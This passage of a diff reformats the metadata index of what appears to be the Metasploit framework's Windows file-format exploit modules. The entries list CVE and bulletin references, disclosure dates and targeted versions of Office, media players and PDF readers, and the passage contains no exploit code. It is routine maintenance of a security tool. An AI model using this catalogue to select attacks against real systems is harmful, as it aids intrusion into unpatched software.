"needs_cleanup": null }, "exploit_windows/fileformat/millenium_mp3_pls": { "name": "Millenium MP3 Studio 2.0 (PLS File) Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/millenium_mp3_pls", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-07-30", "type": "exploit", @@ -156840,12 +139385,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], @@ -156856,17 +139397,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/mini_stream_pls_bof": { "name": "Mini-Stream RM-MP3 Converter v3.1.2.1 PLS File Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/mini_stream_pls_bof", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-07-16", "type": "exploit", @@ -156885,12 +139423,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Mini-stream RM-MP3 Converter v3.1.2.1.2010.03.30" ], @@ -156901,17 +139435,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/mjm_coreplayer2011_s3m": { "name": "MJM Core Player 2011 .s3m Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/mjm_coreplayer2011_s3m", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2011-04-30", "type": "exploit", @@ -156927,12 +139458,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal Generic DEP & ASLR Bypass" ], @@ -156943,17 +139470,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/mjm_quickplayer_s3m": { "name": "MJM QuickPlayer 1.00 Beta 60a / QuickPlayer 2010 .s3m Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/mjm_quickplayer_s3m", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2011-04-30", "type": "exploit", @@ -156969,12 +139493,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal Generic DEP & ASLR Bypass" ], @@ -156985,17 +139505,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/moxa_mediadbplayback": { "name": "MOXA MediaDBPlayback ActiveX Control Buffer Overflow", "fullname": "exploit/windows/fileformat/moxa_mediadbplayback", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2010-10-19", "type": "exploit", @@ -157011,12 +139528,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7" ], @@ -157027,17 +139540,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/mplayer_m3u_bof": { "name": "MPlayer Lite M3U Buffer Overflow", "fullname": "exploit/windows/fileformat/mplayer_m3u_bof", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2011-03-19", "type": "exploit", @@ -157054,12 +139564,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3 (DEP Bypass) / MPlayer Lite r33064" ], @@ -157070,17 +139576,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/mplayer_sami_bof": { "name": "MPlayer SAMI Subtitle File Buffer Overflow", "fullname": "exploit/windows/fileformat/mplayer_sami_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-05-19", "type": "exploit", @@ -157097,12 +139600,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "SMPlayer 0.6.8 / mplayer.exe Sherpya-SVN-r29355-4.5.0 / Windows XP English SP3" ], @@ -157113,17 +139612,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/ms09_067_excel_featheader": { "name": "MS09-067 Microsoft Excel Malformed FEATHEADER Record Vulnerability", "fullname": "exploit/windows/fileformat/ms09_067_excel_featheader", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2009-11-10", "type": "exploit", @@ -157143,12 +139639,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Microsoft Office 2002 (XP) SP3 base English on Windows XP SP3 English", "Microsoft Office 2002 (XP) SP3 w/kb969680 English on Windows XP SP3 English", @@ -157163,17 +139655,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/ms10_004_textbytesatom": { "name": "MS10-004 Microsoft PowerPoint Viewer TextBytesAtom Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/ms10_004_textbytesatom", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2010-02-09", "type": "exploit", @@ -157192,12 +139681,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Microsoft PowerPoint Viewer 2003", "Microsoft PowerPoint Viewer 2003 (kb949041 or kb956500) or Office 2003 SP3", @@ -157211,17 +139696,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/ms10_038_excel_obj_bof": { "name": "MS11-038 Microsoft Office Excel Malformed OBJ Record Handling Overflow", "fullname": "exploit/windows/fileformat/ms10_038_excel_obj_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-06-08", "type": "exploit", @@ -157241,12 +139723,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Microsoft Office Excel 2002 10.2614.2625 Service Pack 0(Office XP) on Windows XP SP3", "Microsoft Office Excel 2002 10.6501.6626 Service Pack 3 (Office XP SP3) on Windows XP SP3" @@ -157258,17 +139736,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/ms10_087_rtf_pfragments_bof": { "name": "MS10-087 Microsoft Word RTF pFragments Stack Buffer Overflow (File Format)", "fullname": "exploit/windows/fileformat/ms10_087_rtf_pfragments_bof", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-11-09", "type": "exploit", @@ -157289,12 +139764,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Microsoft Office 2002 SP3 English on Windows XP SP3 English", @@ -157311,17 +139782,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/ms11_006_createsizeddibsection": { "name": "MS11-006 Microsoft Windows CreateSizedDIBSECTION Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/ms11_006_createsizeddibsection", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-12-15", "type": "exploit", @@ -157340,12 +139808,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows 2000 SP0/SP4 English", @@ -157359,17 +139823,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/ms11_021_xlb_bof": { "name": "MS11-021 Microsoft Office 2007 Excel .xlb Buffer Overflow", "fullname": "exploit/windows/fileformat/ms11_021_xlb_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-08-09", "type": "exploit", @@ -157389,12 +139850,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Microsoft Office Excel 2007 on Windows XP", "Microsoft Office Excel 2007 SP2 on Windows XP" @@ -157406,17 +139863,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/ms12_005": { "name": "MS12-005 Microsoft Office ClickOnce Unsafe Object Package Handling Vulnerability", "fullname": "exploit/windows/fileformat/ms12_005", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-01-10", "type": "exploit", @@ -157436,12 +139890,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Microsoft Office Word 2007/2010 on Windows 7" ], @@ -157452,17 +139902,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/ms12_027_mscomctl_bof": { "name": "MS12-027 MSCOMCTL ActiveX Buffer Overflow", "fullname": "exploit/windows/fileformat/ms12_027_mscomctl_bof", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2012-04-10", "type": "exploit", @@ -157482,12 +139929,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Microsoft Office 2007 [no-SP/SP1/SP2/SP3] English on Windows [XP SP3 / 7 SP1] English", "Microsoft Office 2010 SP1 English on Windows [XP SP3 / 7 SP1] English" @@ -157499,17 +139942,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/ms13_071_theme": { "name": "MS13-071 Microsoft Windows Theme File Handling Arbitrary Code Execution", "fullname": "exploit/windows/fileformat/ms13_071_theme", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-09-10", "type": "exploit", @@ -157530,12 +139970,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3 / Windows 2003 SP2" ], @@ -157546,17 +139982,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/ms14_017_rtf": { "name": "MS14-017 Microsoft Word RTF Object Confusion", "fullname": "exploit/windows/fileformat/ms14_017_rtf", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-04-01", "type": "exploit", @@ -157575,12 +140008,8 @@ "platform": "Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Microsoft Office 2010 SP2 English on Windows 7 SP1 English" ], @@ -157605,9 +140034,7 @@ "exploit_windows/fileformat/ms14_060_sandworm": { "name": "MS14-060 Microsoft Windows OLE Package Manager Code Execution", "fullname": "exploit/windows/fileformat/ms14_060_sandworm", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-10-14", "type": "exploit", @@ -157628,12 +140055,8 @@ "platform": "Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 7 SP1 / Office 2010 SP2 / Office 2013" ], @@ -157648,12 +140071,8 @@ "Stability": [ "crash-safe" ], - "SideEffects": [ - - ], - "Reliability": [ - - ], + "SideEffects": [], + "Reliability": [], "AKA": [ "sandworm" ] @@ -157664,9 +140083,7 @@ "exploit_windows/fileformat/ms14_064_packager_python": { "name": "MS14-064 Microsoft Windows OLE Package Manager Code Execution Through Python", "fullname": "exploit/windows/fileformat/ms14_064_packager_python", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-11-12", "type": "exploit", @@ -157685,12 +140102,8 @@ "platform": "Python", "arch": "python", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 7 SP1 with Python for Windows / Office 2010 SP2 / Office 2013" ], @@ -157701,17 +140114,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/ms14_064_packager_run_as_admin": { "name": "MS14-064 Microsoft Windows OLE Package Manager Code Execution", "fullname": "exploit/windows/fileformat/ms14_064_packager_run_as_admin", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-10-21", "type": "exploit", @@ -157730,12 +140140,8 @@ "platform": "Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 7 SP1 / Office 2010 SP2 / Office 2013" ], @@ -157746,17 +140152,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/ms15_020_shortcut_icon_dllloader": { "name": "Microsoft Windows Shell LNK Code Execution", "fullname": "exploit/windows/fileformat/ms15_020_shortcut_icon_dllloader", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-03-10", "type": "exploit", @@ -157774,12 +140177,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -157790,17 +140189,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/ms15_100_mcl_exe": { "name": "MS15-100 Microsoft Windows Media Center MCL Vulnerability", "fullname": "exploit/windows/fileformat/ms15_100_mcl_exe", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-09-08", "type": "exploit", @@ -157815,12 +140211,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows" ], @@ -157831,17 +140223,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/ms_visual_basic_vbp": { "name": "Microsoft Visual Basic VBP Buffer Overflow", "fullname": "exploit/windows/fileformat/ms_visual_basic_vbp", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2007-09-04", "type": "exploit", @@ -157857,12 +140246,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP2 English" ], @@ -157873,17 +140258,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/mswin_tiff_overflow": { "name": "MS13-096 Microsoft Tagged Image File Format (TIFF) Integer Overflow", "fullname": "exploit/windows/fileformat/mswin_tiff_overflow", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2013-11-05", "type": "exploit", @@ -157902,12 +140284,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3 with Office Standard 2010" ], @@ -157918,17 +140296,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/msworks_wkspictureinterface": { "name": "Microsoft Works 7 WkImgSrv.dll WKsPictureInterface() ActiveX Code Execution", "fullname": "exploit/windows/fileformat/msworks_wkspictureinterface", - "aliases": [ - - ], + "aliases": [], "rank": 100, "disclosure_date": "2008-11-28", "type": "exploit", @@ -157943,12 +140318,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP2-SP3 IE 7.0" ], @@ -157959,17 +140330,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/mymp3player_m3u": { "name": "Steinberg MyMP3Player 3.0 Buffer Overflow", "fullname": "exploit/windows/fileformat/mymp3player_m3u", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2010-03-18", "type": "exploit", @@ -157985,12 +140353,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal", "Windows Universal (SEH)", @@ -158003,17 +140367,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/netop": { "name": "NetOp Remote Control Client 9.5 Buffer Overflow", "fullname": "exploit/windows/fileformat/netop", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-04-28", "type": "exploit", @@ -158028,12 +140389,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3" ], @@ -158044,17 +140401,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/nitro_reader_jsapi": { "name": "Nitro Pro PDF Reader 11.0.3.173 Javascript API Remote Code Execution", "fullname": "exploit/windows/fileformat/nitro_reader_jsapi", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-07-24", "type": "exploit", @@ -158072,12 +140426,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -158088,17 +140438,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_windows/fileformat/nuance_pdf_launch_overflow": { "name": "Nuance PDF Reader v6.0 Launch Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/nuance_pdf_launch_overflow", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-10-08", "type": "exploit", @@ -158114,12 +140461,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Nuance PDF Reader v6.x (XP SP3)" ], @@ -158130,17 +140473,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/office_dde_delivery": { "name": "Microsoft Office DDE Payload Delivery", "fullname": "exploit/windows/fileformat/office_dde_delivery", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2017-10-09", "type": "exploit", @@ -158155,12 +140495,8 @@ "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Microsoft Office" ], @@ -158171,17 +140507,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/office_excel_slk": { "name": "Microsoft Excel .SLK Payload Delivery", "fullname": "exploit/windows/fileformat/office_excel_slk", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2018-10-07", "type": "exploit", @@ -158199,12 +140532,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Microsoft Excel" ], @@ -158215,17 +140544,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/office_ms17_11882": { "name": "Microsoft Office CVE-2017-11882", "fullname": "exploit/windows/fileformat/office_ms17_11882", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2017-11-15", "type": "exploit", @@ -158236,39 +140562,32 @@ "description": "Module exploits a flaw in how the Equation Editor that\n allows an attacker to execute arbitrary code in RTF files without\n interaction. The vulnerability is caused by the Equation Editor,\n to which fails to properly handle OLE objects in memory.", "references": [ "CVE-2017-11882", - "URL-https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about", + "URL-http://web.archive.org/web/20211201000500/https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about", "URL-https://github.com/embedi/CVE-2017-11882" ], "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Microsoft Office" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/windows/fileformat/office_ms17_11882.rb", "is_install_path": true, "ref_name": "windows/fileformat/office_ms17_11882", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/office_ole_multiple_dll_hijack": { "name": "Office OLE Multiple DLL Side Loading Vulnerabilities", "fullname": "exploit/windows/fileformat/office_ole_multiple_dll_hijack", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-12-08", "type": "exploit", @@ -158303,12 +140622,8 @@ "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "All", "COM+ Services / Windows Vista - 10 / Office 2007 - 2016 (MS15-132)", @@ -158330,17 +140645,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/office_word_hta": { "name": "Microsoft Office Word Malicious Hta Execution", "fullname": "exploit/windows/fileformat/office_word_hta", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-04-14", "type": "exploit", @@ -158373,12 +140685,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Microsoft Office Word" ], @@ -158389,17 +140697,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/openoffice_ole": { "name": "OpenOffice OLE Importer DocumentSummaryInformation Stream Handling Overflow", "fullname": "exploit/windows/fileformat/openoffice_ole", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-04-17", "type": "exploit", @@ -158418,12 +140723,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "OpenOffice 2.3.1 / 2.3.0 on Windows XP SP3" ], @@ -158434,17 +140735,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/orbit_download_failed_bof": { "name": "Orbit Downloader URL Unicode Conversion Overflow", "fullname": "exploit/windows/fileformat/orbit_download_failed_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-04-03", "type": "exploit", @@ -158462,12 +140760,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Orbit Downloader 6.4 on Windows XP SP3", "Orbit Downloader 6.4 on Windows 7" @@ -158479,17 +140773,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/orbital_viewer_orb": { "name": "Orbital Viewer ORB File Parsing Buffer Overflow", "fullname": "exploit/windows/fileformat/orbital_viewer_orb", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-02-27", "type": "exploit", @@ -158507,12 +140798,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Orbital Viewer 1.04 on Windows XP SP3" ], @@ -158523,17 +140810,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/ovf_format_string": { "name": "VMWare OVF Tools Format String Vulnerability", "fullname": "exploit/windows/fileformat/ovf_format_string", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-11-08", "type": "exploit", @@ -158551,12 +140835,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "VMWare OVF Tools 2.1 on Windows XP SP3" ], @@ -158567,17 +140847,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/proshow_cellimage_bof": { "name": "ProShow Gold v4.0.2549 (PSH File) Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/proshow_cellimage_bof", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-08-20", "type": "exploit", @@ -158594,12 +140871,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], @@ -158610,17 +140883,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/proshow_load_bof": { "name": "Photodex ProShow Producer 5.0.3256 load File Handling Buffer Overflow", "fullname": "exploit/windows/fileformat/proshow_load_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-06-06", "type": "exploit", @@ -158639,12 +140909,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Photodex ProShow Producer 5.0.3256 / Windows XP SP3 / Windows 7 SP1" ], @@ -158655,17 +140921,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/publishit_pui": { "name": "Publish-It PUI Buffer Overflow (SEH)", "fullname": "exploit/windows/fileformat/publishit_pui", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-02-05", "type": "exploit", @@ -158682,12 +140945,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Publish-It 3.6d" ], @@ -158698,17 +140957,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/real_networks_netzip_bof": { "name": "Real Networks Netzip Classic 7.5.1 86 File Parsing Buffer Overflow Vulnerability", "fullname": "exploit/windows/fileformat/real_networks_netzip_bof", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2011-01-30", "type": "exploit", @@ -158726,12 +140982,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3", "Windows 7/Windows Vista" @@ -158743,17 +140995,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/real_player_url_property_bof": { "name": "RealPlayer RealMedia File Handling Buffer Overflow", "fullname": "exploit/windows/fileformat/real_player_url_property_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-12-14", "type": "exploit", @@ -158770,12 +141019,8 @@ "platform": "Windows", 